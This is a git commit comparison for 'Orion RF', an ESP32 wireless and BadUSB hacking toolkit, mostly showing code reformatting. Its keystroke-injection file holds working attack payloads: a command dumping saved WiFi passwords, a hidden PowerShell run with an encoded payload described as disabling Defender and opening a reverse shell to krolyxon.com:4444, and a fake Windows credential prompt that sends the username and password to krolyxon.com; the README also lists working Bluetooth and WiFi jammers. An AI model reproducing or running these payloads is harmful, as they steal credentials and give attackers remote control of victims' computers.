Compare commits

..

No commits in common. "206ed229198be252a9ae94342b39618aaab55925" and "0b8b30d25d9e374cb8814aa652d52d5b74d5171a" have entirely different histories.

16 changed files with 1837 additions and 1598 deletions

View File

@ -27,11 +27,8 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
## Hardware ## Hardware
- ESP32-S3 N16R8 - ESP32-S3 N16R8
- 2x NRF24L01 Module - 2x NRF24L01
- 2x CC1101 Module - 2x CC1101
- PN532 NFC Module
- MicroSD card Module
- TP4056 Charging Module
- OLED display - OLED display
- Battery-powered portable setup - Battery-powered portable setup
@ -46,7 +43,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
| BLE Mouse | Working | | BLE Mouse | Working |
| BLE Jammer | Working | | BLE Jammer | Working |
| Bluetooth Jammer | Working | | Bluetooth Jammer | Working |
| WiFi Jammer | Working | | WiFi Jammer | Experimental |
| RF Capture | WIP | | RF Capture | WIP |
| RF Replay | WIP | | RF Replay | WIP |
| SD Card Support | Planned | | SD Card Support | Planned |

View File

@ -1,7 +1,7 @@
#include "../config.h"
#include "../hid/badusb.h"
#include <Arduino.h> #include <Arduino.h>
#include <BleMouse.h> #include <BleMouse.h>
#include "../hid/badusb.h"
#include "../config.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
@ -11,7 +11,8 @@
extern BleMouse bleMouse; extern BleMouse bleMouse;
// ===== MAIN ===== // ===== MAIN =====
void ble_mouse_run() { void ble_mouse_run()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse"); u8g2.drawStr(10, 25, "BLE Mouse");
@ -20,25 +21,22 @@ void ble_mouse_run() {
delay(800); delay(800);
while (1) { while (1)
{
// 🔥 EXIT FIRST (clean) // 🔥 EXIT FIRST (clean)
if (btnBack()) if (btnBack()) break;
break;
bool connected = bleMouse.isConnected(); bool connected = bleMouse.isConnected();
int dx = 0; int dx = 0;
int dy = 0; int dy = 0;
if (connected) { if (connected)
if (!digitalRead(BTN_UP)) {
dy = -6; if (!digitalRead(BTN_UP)) dy = -6;
if (!digitalRead(BTN_DOWN)) if (!digitalRead(BTN_DOWN)) dy = 6;
dy = 6; if (!digitalRead(BTN_LEFT)) dx = -6;
if (!digitalRead(BTN_LEFT)) if (!digitalRead(BTN_RIGHT)) dx = 6;
dx = -6;
if (!digitalRead(BTN_RIGHT))
dx = 6;
if (dx || dy) if (dx || dy)
bleMouse.move(dx, dy); bleMouse.move(dx, dy);
@ -71,3 +69,6 @@ void ble_mouse_run() {
delay(10); // important for BLE stability delay(10); // important for BLE stability
} }
} }

View File

@ -1,12 +1,12 @@
#include <Arduino.h> #include <Arduino.h>
#include <BLEAdvertisedDevice.h>
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include <BLEAdvertisedDevice.h>
#include <vector> #include <vector>
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h"
// ===== DEVICE STRUCT ===== // ===== DEVICE STRUCT =====
struct BLEDeviceInfo { struct BLEDeviceInfo {
@ -46,7 +46,9 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
if (mData.length() >= 2) { if (mData.length() >= 2) {
char buffer[10]; char buffer[10];
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]); sprintf(buffer, "0x%02X%02X",
(uint8_t)mData[1],
(uint8_t)mData[0]);
dev.manufacturer = String(buffer); dev.manufacturer = String(buffer);
} else { } else {
dev.manufacturer = "unknown"; dev.manufacturer = "unknown";
@ -56,7 +58,8 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
} }
if (advertisedDevice.haveServiceUUID()) { if (advertisedDevice.haveServiceUUID()) {
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str(); dev.deviceType =
advertisedDevice.getServiceUUID().toString().c_str();
} else { } else {
dev.deviceType = "unknown"; dev.deviceType = "unknown";
} }
@ -66,14 +69,18 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
}; };
// ===== DRAW MENU ===== // ===== DRAW MENU =====
void ble_drawMenu() { void ble_drawMenu()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
if (devices.empty()) { if (devices.empty())
{
u8g2.setFont(u8g2_font_6x12_tr); u8g2.setFont(u8g2_font_6x12_tr);
u8g2.drawStr(0, 30, "No devices"); u8g2.drawStr(0, 30, "No devices");
u8g2.drawStr(0, 45, "Press BACK"); u8g2.drawStr(0, 45, "Press BACK");
} else { }
else
{
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
char counter[20]; char counter[20];
@ -82,14 +89,15 @@ void ble_drawMenu() {
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) { for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i; int idx = selectedIndex + i;
if (idx >= devices.size()) if (idx >= devices.size()) break;
break;
int y = 22 + i * 14; int y = 22 + i * 14;
if (i == 0) { if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12); u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
} }
@ -111,7 +119,8 @@ void ble_drawMenu() {
} }
// ===== DEVICE DETAILS ===== // ===== DEVICE DETAILS =====
void ble_drawDetails(const BLEDeviceInfo &dev) { void ble_drawDetails(const BLEDeviceInfo &dev)
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -128,7 +137,8 @@ void ble_drawDetails(const BLEDeviceInfo &dev) {
} }
// ===== SCAN ===== // ===== SCAN =====
void ble_scan() { void ble_scan()
{
devices.clear(); devices.clear();
u8g2.clearBuffer(); u8g2.clearBuffer();
@ -138,8 +148,7 @@ void ble_scan() {
BLEDevice::init(""); BLEDevice::init("");
pBLEScan = BLEDevice::getScan(); pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
false);
pBLEScan->setActiveScan(true); pBLEScan->setActiveScan(true);
pBLEScan->setInterval(100); pBLEScan->setInterval(100);
pBLEScan->setWindow(99); pBLEScan->setWindow(99);
@ -148,42 +157,52 @@ void ble_scan() {
// remove duplicates // remove duplicates
std::vector<BLEDeviceInfo> unique; std::vector<BLEDeviceInfo> unique;
for (auto &d : devices) { for (auto &d : devices)
{
bool exists = false; bool exists = false;
for (auto &u : unique) { for (auto &u : unique)
if (u.address == d.address) { {
if (u.address == d.address)
{
exists = true; exists = true;
break; break;
} }
} }
if (!exists) if (!exists) unique.push_back(d);
unique.push_back(d);
} }
devices = unique; devices = unique;
} }
// ===== MAIN LOOP ===== // ===== MAIN LOOP =====
void ble_loop() { void ble_loop()
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
if (millis() - lastPress < 200) if (millis() - lastPress < 200)
return; return;
if (btnDown() && selectedIndex < (int)devices.size() - 1) { if (btnDown() && selectedIndex < (int)devices.size() - 1)
{
selectedIndex++; selectedIndex++;
ble_drawMenu(); ble_drawMenu();
lastPress = millis(); lastPress = millis();
} else if (btnUp() && selectedIndex > 0) { }
else if (btnUp() && selectedIndex > 0)
{
selectedIndex--; selectedIndex--;
ble_drawMenu(); ble_drawMenu();
lastPress = millis(); lastPress = millis();
} else if (btnSelect() && !devices.empty()) { }
else if (btnSelect() && !devices.empty())
{
ble_drawDetails(devices[selectedIndex]); ble_drawDetails(devices[selectedIndex]);
delay(3000); delay(3000);
ble_drawMenu(); ble_drawMenu();
lastPress = millis(); lastPress = millis();
} else if (btnBack()) { }
else if (btnBack())
{
lastPress = millis(); lastPress = millis();
return; return;
} }

View File

@ -18,19 +18,24 @@
/////////////////cc1101 vars////////////// /////////////////cc1101 vars//////////////
// CC1101 via FSPI // CC1101 via FSPI
#define cc1101_SCK 15 #define cc1101_SCK 15
#define cc1101_MISO 41 #define cc1101_MISO 3
#define cc1101_MOSI 35 #define cc1101_MOSI 35
//////////////cc1101(1)////////// //////////////cc1101(1)//////////
#define CC1101_CS 40 #define CC1101_CS 45
#define CC1101_GDO0 39 #define CC1101_GDO0 21
#define CC1101_GDO2 42 #define CC1101_GDO2 47
/////////////cc1101(2)//////////
#define CC1101_2_CS 40
#define CC1101_2_GDO0 41
#define CC1101_2_GDO2 42
// SD Card via HSPI // SD Card via HSPI
//#define SD_SCK 14 #define SD_SCK 14
//#define SD_MISO 39 #define SD_MISO 39
//#define SD_MOSI 38 #define SD_MOSI 38
//#define SD_CS 37 #define SD_CS 37
// =================== Buttons ==================== // =================== Buttons ====================
@ -40,3 +45,4 @@
#define BTN_BACK 7 #define BTN_BACK 7
#define BTN_LEFT 1 #define BTN_LEFT 1
#define BTN_RIGHT 2 #define BTN_RIGHT 2

View File

@ -1,6 +1,6 @@
#include "../ui/display.h"
#include <Arduino.h> #include <Arduino.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "../ui/display.h"
extern USBHIDKeyboard Keyboard; extern USBHIDKeyboard Keyboard;
@ -56,8 +56,10 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
} }
} }
void typeSlow(const char *text, int delayMs = 25) { void typeSlow(const char *text, int delayMs = 25)
while (*text) { {
while (*text)
{
Keyboard.print(*text); Keyboard.print(*text);
delay(delayMs); delay(delayMs);
text++; text++;
@ -65,7 +67,7 @@ void typeSlow(const char *text, int delayMs = 25) {
} }
void badUSBMenu(int index) { void badUSBMenu(int index) {
// switch (index) //switch (index)
// { // {
// case 0: // case 0:
// runBadUSBDemo(); // runBadUSBDemo();
@ -82,7 +84,9 @@ void badUSBMenu(int index) {
// break; // break;
// } // }
switch (index) {
switch(index)
{
// ================= ORION DEMO ================= // ================= ORION DEMO =================
case 0: case 0:
showRunningScreen("ORION Demo"); showRunningScreen("ORION Demo");
@ -195,7 +199,7 @@ void badUSBMenu(int index) {
break; break;
// ================= WIFI CRACK ================= // ================= WIFI CRACK =================
// ================= WIFI PASSWORD RECOVERY ================= // ================= WIFI PASSWORD RECOVERY =================
case 4: case 4:
showRunningScreen("WiFi Recovery"); showRunningScreen("WiFi Recovery");
@ -212,13 +216,9 @@ void badUSBMenu(int index) {
delay(500); delay(500);
// The "Magic" Command: // The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in // This lists all profiles and shows the 'Key Content' (the password) in clear text.
// clear text. We use a 'for' loop to automate this for every network the PC // We use a 'for' loop to automate this for every network the PC has ever joined.
// has ever joined. typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
typeSlow(
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
@ -256,7 +256,8 @@ void badUSBMenu(int index) {
delay(700); delay(700);
for (int i = 0; i < 20; i++) { for(int i = 0; i < 20; i++)
{
typeSlow("color 4F"); typeSlow("color 4F");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
@ -277,7 +278,8 @@ void badUSBMenu(int index) {
delay(2000); delay(2000);
for (int i = 0; i < 15; i++) { for(int i = 0; i < 15; i++)
{
typeSlow("######### ORION-RF #########"); typeSlow("######### ORION-RF #########");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
@ -304,8 +306,8 @@ void badUSBMenu(int index) {
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= POWERSHELL REVERSE SHELL ================= // ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC ================= // ================= DEFENDER BYPASS + NC =================
case 10: case 10:
showRunningScreen("Pwn Mode v2"); showRunningScreen("Pwn Mode v2");
@ -332,43 +334,19 @@ void badUSBMenu(int index) {
// The Base64 string below contains: // The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
"-EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444 // This is the encoded payload for krolyxon.com:4444
typeSlow( typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
"JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG" "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0" "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
"AHIAaQBuAGcAKAAiAEgA" "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb" "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI" "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
"AbwBsAHkAeABvAG4A" "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG" "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5" "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
"AHQAZQBzACAAPQA" "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
"AeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
"uAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
"GkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+"
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
"CkALgBHAGUAd"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
"HQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
"AcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
@ -377,35 +355,21 @@ void badUSBMenu(int index) {
showRunningScreen("Vault Crack"); showRunningScreen("Vault Crack");
// Open hidden PowerShell // Open hidden PowerShell
runCommand( runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
"powershell -nop -W Hidden -c \"$cred = "
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
"to update your system credentials.','',''); $p = "
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break; break;
// ================= DESKTOP GHOST ================= // ================= DESKTOP GHOST =================
case 12: case 12:
showRunningScreen("Ghost Mode"); showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName " runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
"System.Windows.Forms; "
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
"-Format Image).Save($path); Set-ItemProperty -Path "
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak) // Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add " typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
"explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= FORK BOMB ================= // ================= FORK BOMB =================
case 13: case 13:
showRunningScreen("System Stress"); showRunningScreen("System Stress");
@ -417,5 +381,7 @@ void badUSBMenu(int index) {
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
}
} }
}

View File

@ -2,9 +2,9 @@
#include <USB.h> #include <USB.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "libs/BleMouse.h"
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include "libs/BleMouse.h"
#include <RF24.h> #include <RF24.h>
#include <nRF24L01.h> #include <nRF24L01.h>
@ -14,14 +14,15 @@
#include <WiFi.h> #include <WiFi.h>
#include <esp_wifi.h> #include <esp_wifi.h>
#include <SPI.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
#include <esp_system.h> #include <esp_system.h>
#include <SPI.h>
#include "ui/display.h" #include "ui/display.h"
#include "ui/menu.h"
#include "utils/buttons.h" #include "utils/buttons.h"
#include "ui/menu.h"
#include "config.h" #include "config.h"
#include "rf/cc1101.h" #include "rf/cc1101.h"
@ -32,10 +33,12 @@ USBHIDKeyboard Keyboard;
// ===== BLE MOUSE ===== // ===== BLE MOUSE =====
BleMouse bleMouse("Orion-RF", "Orion-RF", 100); BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
RF24 radio1(CE1_PIN, CSN1_PIN); RF24 radio1(CE1_PIN, CSN1_PIN);
RF24 radio2(CE2_PIN, CSN2_PIN); RF24 radio2(CE2_PIN, CSN2_PIN);
SPIClass *RADIO_SPI; SPIClass *RADIO_SPI;
void deactivateNRF1() { void deactivateNRF1() {
digitalWrite(CSN1_PIN, HIGH); digitalWrite(CSN1_PIN, HIGH);
digitalWrite(CE1_PIN, LOW); digitalWrite(CE1_PIN, LOW);
@ -46,22 +49,29 @@ void deactivateNRF2() {
digitalWrite(CE2_PIN, LOW); digitalWrite(CE2_PIN, LOW);
} }
// ================= SYSTEM INFO ================= // ================= SYSTEM INFO =================
void printSystemUsage() { void printSystemUsage()
{
esp_chip_info_t chip_info; esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
Serial.printf("CPU cores: %d\n", chip_info.cores); Serial.printf("CPU cores: %d\n", chip_info.cores);
Serial.printf("Free heap: %d bytes\n", Serial.printf(
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); "Free heap: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
);
Serial.printf("PSRAM free: %d bytes\n", Serial.printf(
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); "PSRAM free: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
);
} }
void showSplash() { void showSplash()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_logisoso20_tr); // big font u8g2.setFont(u8g2_font_logisoso20_tr); // big font
@ -75,8 +85,10 @@ void showSplash() {
delay(1500); // 1.5 sec delay(1500); // 1.5 sec
} }
// ================= SETUP ================= // ================= SETUP =================
void setup() { void setup()
{
Serial.begin(115200); Serial.begin(115200);
displayInit(); displayInit();
@ -90,12 +102,14 @@ void setup() {
USB.begin(); USB.begin();
Keyboard.begin(); Keyboard.begin();
// NRF SPI safety
// pinMode(CSN1_PIN, OUTPUT);
// digitalWrite(CSN1_PIN, HIGH);
// pinMode(CSN2_PIN, OUTPUT);
// digitalWrite(CSN2_PIN, HIGH); // NRF SPI safety
//pinMode(CSN1_PIN, OUTPUT);
//digitalWrite(CSN1_PIN, HIGH);
//pinMode(CSN2_PIN, OUTPUT);
//digitalWrite(CSN2_PIN, HIGH);
deactivateNRF1(); deactivateNRF1();
deactivateNRF2(); deactivateNRF2();
@ -103,18 +117,18 @@ void setup() {
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
// ===== CC1101 SPI INIT ===== // ===== CC1101 SPI INIT =====
// SPI.begin( //SPI.begin(
// cc1101_SCK, // cc1101_SCK,
// cc1101_MISO, // cc1101_MISO,
// cc1101_MOSI, // cc1101_MOSI,
// CC1101_CS // CC1101_CS
//); //);
// pinMode(CC1101_CS, OUTPUT); //pinMode(CC1101_CS, OUTPUT);
// pinMode(CC1101_2_CS, OUTPUT); //pinMode(CC1101_2_CS, OUTPUT);
// digitalWrite(CC1101_CS, HIGH); //digitalWrite(CC1101_CS, HIGH);
// digitalWrite(CC1101_2_CS, HIGH); //digitalWrite(CC1101_2_CS, HIGH);
printSystemUsage(); printSystemUsage();
@ -122,4 +136,7 @@ void setup() {
} }
// ================= LOOP ================= // ================= LOOP =================
void loop() { menuLoop(); } void loop()
{
menuLoop();
}

View File

@ -1,20 +1,21 @@
#include "nfc.h" #include "nfc.h"
#include <Adafruit_PN532.h>
#include <Arduino.h> #include <Arduino.h>
#include <Wire.h> #include <Wire.h>
#include <Adafruit_PN532.h>
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h"
#define PN532_IRQ -1 #define PN532_IRQ -1
#define PN532_RESET -1 #define PN532_RESET -1
// Adafruit_PN532 nfc(Wire); //Adafruit_PN532 nfc(Wire);
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
void drawWaiting() { void drawWaiting()
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(10, 20, "PN532 Ready"); u8g2.drawStr(10, 20, "PN532 Ready");
@ -23,12 +24,14 @@ void drawWaiting() {
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
void showUID(uint8_t *uid, uint8_t uidLength) { void showUID(uint8_t *uid, uint8_t uidLength)
{
char line[64]; char line[64];
String uidStr = ""; String uidStr = "";
for (int i = 0; i < uidLength; i++) { for (int i = 0; i < uidLength; i++)
{
if (uid[i] < 0x10) if (uid[i] < 0x10)
uidStr += "0"; uidStr += "0";
@ -51,14 +54,16 @@ void showUID(uint8_t *uid, uint8_t uidLength) {
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
void pn532_init() { void pn532_init()
{
delay(100); delay(100);
nfc.begin(); nfc.begin();
delay(100); delay(100);
uint32_t versiondata = nfc.getFirmwareVersion(); uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) { if (!versiondata)
{
Serial.println("PN532 not found"); Serial.println("PN532 not found");
u8g2.clearBuffer(); u8g2.clearBuffer();
@ -74,21 +79,28 @@ void pn532_init() {
nfc.SAMConfig(); nfc.SAMConfig();
} }
void pn532_scan_loop() { void pn532_scan_loop()
{
pn532_init(); pn532_init();
drawWaiting(); drawWaiting();
while (1) { while (1)
{
uint8_t success; uint8_t success;
uint8_t uid[7]; uint8_t uid[7];
uint8_t uidLength; uint8_t uidLength;
Serial.println("Scanning..."); Serial.println("Scanning...");
success = success = nfc.readPassiveTargetID(
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50); PN532_MIFARE_ISO14443A,
uid,
&uidLength,
50
);
if (success) { if (success)
{
Serial.println("Card detected"); Serial.println("Card detected");
showUID(uid, uidLength); showUID(uid, uidLength);
@ -96,7 +108,8 @@ void pn532_scan_loop() {
delay(1000); delay(1000);
} }
if (btnBack()) { if (btnBack())
{
delay(150); delay(150);
break; break;
} }

View File

@ -1,10 +1,10 @@
#include <Arduino.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "cc1101.h" #include "cc1101.h"
#include "../config.h" #include "../config.h"
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" #include "SPI.h"
#include "../ui/display.h" #include "../ui/display.h"
